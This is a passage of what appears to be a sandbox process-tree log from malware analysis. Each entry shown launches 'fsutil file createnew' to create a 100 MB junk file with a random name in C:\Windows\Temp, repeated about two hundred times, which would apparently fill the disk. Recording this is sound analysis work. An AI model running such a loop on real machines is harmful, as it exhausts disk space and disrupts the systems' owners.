    fsutil file createnew "C:\Windows\Temp\sys194457270.tmp" 104857600
    3⤵
    PID:4520
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys4662206.tmp" 104857600
    3⤵
    PID:840
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys298542902.tmp" 104857600
    3⤵
    PID:4116
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys76506805.tmp" 104857600
    3⤵
    PID:2484
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys77208789.tmp" 104857600
    3⤵
    PID:1684
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1364831054.tmp" 104857600
    3⤵
    PID:3968
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2565313772.tmp" 104857600
    3⤵
    PID:3260
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys95516237.tmp" 104857600
    3⤵
    PID:1716
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2845215598.tmp" 104857600
    3⤵
    PID:5404
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys3055819990.tmp" 104857600
    3⤵
    PID:6016
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys90964947.tmp" 104857600
    3⤵
    PID:3004
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1555014978.tmp" 104857600
    3⤵
    PID:3504
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2607232227.tmp" 104857600
    3⤵
    PID:5872
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys40444960.tmp" 104857600
    3⤵
    PID:5520
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1802430454.tmp" 104857600
    3⤵
    PID:4320
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1627029035.tmp" 104857600
    3⤵
    PID:4220
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys106471466.tmp" 104857600
    3⤵
    PID:1556
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys22924731.tmp" 104857600
    3⤵
    PID:4648
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys164589428.tmp" 104857600
    3⤵
    PID:5992
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys150518222.tmp" 104857600
    3⤵
    PID:4604
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2575431818.tmp" 104857600
    3⤵
    PID:4868
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2702514376.tmp" 104857600
    3⤵
    PID:4612
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1197829344.tmp" 104857600
    3⤵
    PID:6056
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys7971049.tmp" 104857600
    3⤵
    PID:3732
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2214022849.tmp" 104857600
    3⤵
    PID:5960
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1365315710.tmp" 104857600
    3⤵
    PID:1140
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1334814369.tmp" 104857600
    3⤵
    PID:1224
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys298069002.tmp" 104857600
    3⤵
    PID:700
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys3039631905.tmp" 104857600
    3⤵
    PID:3436
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1877226503.tmp" 104857600
    3⤵
    PID:4964
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys250184019.tmp" 104857600
    3⤵
    PID:5920
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys80015783.tmp" 104857600
    3⤵
    PID:3128
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys100475950.tmp" 104857600
    3⤵
    PID:780
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys3983800.tmp" 104857600
    3⤵
    PID:5012
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1294526308.tmp" 104857600
    3⤵
    PID:2108
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys813923623.tmp" 104857600
    3⤵
    PID:4572
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys3041125410.tmp" 104857600
    3⤵
    PID:3800
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys973820636.tmp" 104857600
    3⤵
    PID:2416
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys558724151.tmp" 104857600
    3⤵
    PID:1132
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1830425175.tmp" 104857600
    3⤵
    PID:3996
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2958111433.tmp" 104857600
    3⤵
    PID:4288
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1774220705.tmp" 104857600
    3⤵
    PID:480
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys238231621.tmp" 104857600
    3⤵
    PID:1956
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys297215255.tmp" 104857600
    3⤵
    PID:4264
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys347610693.tmp" 104857600
    3⤵
    PID:4816
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1405625034.tmp" 104857600
    3⤵
    PID:4688
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1739610231.tmp" 104857600
    3⤵
    PID:2876
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys9259226.tmp" 104857600
    3⤵
    PID:1032
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys23879147.tmp" 104857600
    3⤵
    PID:3104
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2352810916.tmp" 104857600
    3⤵
    PID:4780
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys28761621.tmp" 104857600
    3⤵
    PID:1896
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys3066321865.tmp" 104857600
    3⤵
    PID:5884
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys54728420.tmp" 104857600
    3⤵
    PID:2060
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1725122705.tmp" 104857600
    3⤵
    PID:5608
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys3052032570.tmp" 104857600
    3⤵
    PID:5840
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys3267111168.tmp" 104857600
    3⤵
    PID:5952
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys3193513294.tmp" 104857600
    3⤵
    PID:2456
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2072111176.tmp" 104857600
    3⤵
    PID:556
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2302322726.tmp" 104857600
    3⤵
    PID:2044
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys124016479.tmp" 104857600
    3⤵
    PID:2412
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys25021816.tmp" 104857600
    3⤵
    PID:3688
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2948721043.tmp" 104857600
    3⤵
    PID:4664
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys742220491.tmp" 104857600
    3⤵
    PID:1892
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2349827723.tmp" 104857600
    3⤵
    PID:2008
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys3078120985.tmp" 104857600
    3⤵
    PID:1800
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys271985743.tmp" 104857600
    3⤵
    PID:4956
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1703615640.tmp" 104857600
    3⤵
    PID:5432
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2406225115.tmp" 104857600
    3⤵
    PID:3412
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys61542906.tmp" 104857600
    3⤵
    PID:5300
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys774723152.tmp" 104857600
    3⤵
    PID:2480
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2172928561.tmp" 104857600
    3⤵
    PID:5464
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys319073195.tmp" 104857600
    3⤵
    PID:5864
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys319416343.tmp" 104857600
    3⤵
    PID:2984
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys150925786.tmp" 104857600
    3⤵
    PID:4248
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys23724365.tmp" 104857600
    3⤵
    PID:2972
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys217801500.tmp" 104857600
    3⤵
    PID:1784
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1196427234.tmp" 104857600
    3⤵
    PID:2976
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys737831945.tmp" 104857600
    3⤵
    PID:2084
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1657611319.tmp" 104857600
    3⤵
    PID:2440
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2327930178.tmp" 104857600
    3⤵
    PID:3084
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys997360.tmp" 104857600
    3⤵
    PID:3780
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2719422410.tmp" 104857600
    3⤵
    PID:5248
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys564828685.tmp" 104857600
    3⤵
    PID:4132
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2626326085.tmp" 104857600
    3⤵
    PID:2660
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1175230730.tmp" 104857600
    3⤵
    PID:3728
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys597021471.tmp" 104857600
    3⤵
    PID:2168
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2168723972.tmp" 104857600
    3⤵
    PID:5480
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2142725969.tmp" 104857600
    3⤵
    PID:6088
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys848629997.tmp" 104857600
    3⤵
    PID:1468
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys55871824.tmp" 104857600
    3⤵
    PID:1204
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys3205012802.tmp" 104857600
    3⤵
    PID:2220
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1220532454.tmp" 104857600
    3⤵
    PID:1984
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys918032107.tmp" 104857600
    3⤵
    PID:1156
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys221366548.tmp" 104857600
    3⤵
    PID:1792
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1001829890.tmp" 104857600
    3⤵
    PID:700
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys3077331576.tmp" 104857600
    3⤵
    PID:4964
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys465521208.tmp" 104857600
    3⤵
    PID:2924
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys397229436.tmp" 104857600
    3⤵
    PID:3128
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys316952196.tmp" 104857600
    3⤵
    PID:5160
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2706730799.tmp" 104857600
    3⤵
    PID:2800
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys746118653.tmp" 104857600
    3⤵
    PID:4860
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys492114089.tmp" 104857600
    3⤵
    PID:5604
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys165443002.tmp" 104857600
    3⤵
    PID:3964
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2405619209.tmp" 104857600
    3⤵
    PID:1380
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys746719640.tmp" 104857600
    3⤵
    PID:5408
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys139224576.tmp" 104857600
    3⤵
    PID:3116
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys290922189.tmp" 104857600
    3⤵
    PID:3512
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1495013715.tmp" 104857600
    3⤵
    PID:1956
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2984015866.tmp" 104857600
    3⤵
    PID:1572
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1812221661.tmp" 104857600
    3⤵
    PID:4832
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2766130198.tmp" 104857600
    3⤵
    PID:2840
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2835527444.tmp" 104857600
    3⤵
    PID:1044
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys5195896.tmp" 104857600
    3⤵
    PID:5756
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys454725037.tmp" 104857600
    3⤵
    PID:5744
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys104152037.tmp" 104857600
    3⤵
    PID:5640
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys91425826.tmp" 104857600
    3⤵
    PID:6012
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys900126011.tmp" 104857600
    3⤵
    PID:5496
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys3139227123.tmp" 104857600
    3⤵
    PID:776
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys166920509.tmp" 104857600
    3⤵
    PID:2804
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys144901483.tmp" 104857600
    3⤵
    PID:3292
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys181614928.tmp" 104857600
    3⤵
    PID:832
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys850730724.tmp" 104857600
    3⤵
    PID:1864
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys951711797.tmp" 104857600
    3⤵
    PID:5500
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys131574045.tmp" 104857600
    3⤵
    PID:4928
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys415932217.tmp" 104857600
    3⤵
    PID:6044
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys625619947.tmp" 104857600
    3⤵
    PID:2600
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys203274121.tmp" 104857600
    3⤵
    PID:3688
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1581026622.tmp" 104857600
    3⤵
    PID:2424
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys213324601.tmp" 104857600
    3⤵
    PID:3308
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys114234358.tmp" 104857600
    3⤵
    PID:2000
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys30106887.tmp" 104857600
    3⤵
    PID:1868
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys518711045.tmp" 104857600
    3⤵
    PID:5684
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys249252572.tmp" 104857600
    3⤵
    PID:840
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1489418087.tmp" 104857600
    3⤵
    PID:4340
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys144155395.tmp" 104857600
    3⤵
    PID:4472
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys176004671.tmp" 104857600
    3⤵
    PID:4396
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1865727021.tmp" 104857600
    3⤵
    PID:2656
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys51258339.tmp" 104857600
    3⤵
    PID:5864
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys692484.tmp" 104857600
    3⤵
    PID:5052
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys73789979.tmp" 104857600
    3⤵
    PID:5404
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1902425294.tmp" 104857600
    3⤵
    PID:1968
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys312496534.tmp" 104857600
    3⤵
    PID:2812
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1359414196.tmp" 104857600
    3⤵
    PID:2968
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1032918495.tmp" 104857600
    3⤵
    PID:6028
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1676830932.tmp" 104857600
    3⤵
    PID:4204
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys813025006.tmp" 104857600
    3⤵
    PID:5328
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys244399315.tmp" 104857600
    3⤵
    PID:4828
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1637532417.tmp" 104857600
    3⤵
    PID:5320
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2384717911.tmp" 104857600
    3⤵
    PID:1472
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys170366956.tmp" 104857600
    3⤵
    PID:4244
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys304422757.tmp" 104857600
    3⤵
    PID:1060
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys101308430.tmp" 104857600
    3⤵
    PID:5976
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1264117510.tmp" 104857600
    3⤵
    PID:4612
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2058526262.tmp" 104857600
    3⤵
    PID:5824
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys643230528.tmp" 104857600
    3⤵
    PID:3408
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1557418598.tmp" 104857600
    3⤵
    PID:204
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2308526274.tmp" 104857600
    3⤵
    PID:2264
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys776516247.tmp" 104857600
    3⤵
    PID:1224
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys948429775.tmp" 104857600
    3⤵
    PID:3988
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys137455757.tmp" 104857600
    3⤵
    PID:700
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1176032766.tmp" 104857600
    3⤵
    PID:4420
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1198510445.tmp" 104857600
    3⤵
    PID:2948
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys183810241.tmp" 104857600
    3⤵
    PID:4104
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2837318140.tmp" 104857600
    3⤵
    PID:1744
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys3275232038.tmp" 104857600
    3⤵
    PID:3720
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys214610634.tmp" 104857600
    3⤵
    PID:3208
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2334211739.tmp" 104857600
    3⤵
    PID:1980
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys190015727.tmp" 104857600
    3⤵
    PID:3800
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2940227797.tmp" 104857600
    3⤵
    PID:1928
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys71836420.tmp" 104857600
    3⤵
    PID:1396
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys70035490.tmp" 104857600
    3⤵
    PID:3184
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys757730293.tmp" 104857600
    3⤵
    PID:1136
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2335722301.tmp" 104857600
    3⤵
    PID:4288
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1533415301.tmp" 104857600
    3⤵
    PID:2212
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1923925330.tmp" 104857600
    3⤵
    PID:2788
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys125294419.tmp" 104857600
    3⤵
    PID:3984
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1281326722.tmp" 104857600
    3⤵
    PID:4920
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys856712140.tmp" 104857600
    3⤵
    PID:2840
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1271024473.tmp" 104857600
    3⤵
    PID:1012
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys197188032.tmp" 104857600
    3⤵
    PID:2912
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys592126463.tmp" 104857600
    3⤵
    PID:1144
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys111110185.tmp" 104857600
    3⤵
    PID:2460
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys923614908.tmp" 104857600
    3⤵
    PID:5620
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys230052842.tmp" 104857600
    3⤵
    PID:3324
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2552532480.tmp" 104857600
    3⤵
    PID:776
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1654231509.tmp" 104857600
    3⤵
    PID:5608
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2465230657.tmp" 104857600
    3⤵
    PID:2820
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys339426000.tmp" 104857600
    3⤵
    PID:5892
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1968822022.tmp" 104857600
    3⤵
    PID:5164
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys343332376.tmp" 104857600
    3⤵
    PID:2276
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys3054513220.tmp" 104857600
    3⤵
    PID:3240
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1056211030.tmp" 104857600
    3⤵
    PID:2600
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys569530919.tmp" 104857600
    3⤵
    PID:3688
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1724212945.tmp" 104857600
    3⤵
    PID:3520
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1837712403.tmp" 104857600
    3⤵
    PID:3024
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1912122453.tmp" 104857600
    3⤵
    PID:5672
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys215364203.tmp" 104857600
    3⤵
    PID:1780
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1307516370.tmp" 104857600
    3⤵
    PID:5616
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys217314418.tmp" 104857600
    3⤵
    PID:3928
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1834119368.tmp" 104857600
    3⤵
    PID:1684
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1596027664.tmp" 104857600
    3⤵
    PID:2484
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys300717314.tmp" 104857600
    3⤵
    PID:5464
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2530719831.tmp" 104857600
    3⤵
    PID:3428
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys767332736.tmp" 104857600
    3⤵
    PID:624
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys475822823.tmp" 104857600
    3⤵
    PID:4652
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2087327545.tmp" 104857600
    3⤵
    PID:2972
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys754010926.tmp" 104857600
    3⤵
    PID:1968
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys291322688.tmp" 104857600
    3⤵
    PID:5552
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys177419444.tmp" 104857600
    3⤵
    PID:3504
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2563425415.tmp" 104857600
    3⤵
    PID:4356
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys221425079.tmp" 104857600
    3⤵
    PID:3084
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys716729537.tmp" 104857600
    3⤵
    PID:4812
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1954322546.tmp" 104857600
    3⤵
    PID:4828
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys54394109.tmp" 104857600
    3⤵
    PID:3936
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2005130307.tmp" 104857600
    3⤵
    PID:4172
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1861822672.tmp" 104857600
    3⤵
    PID:2732
- - C:\Windows\system32\fsutil.exe
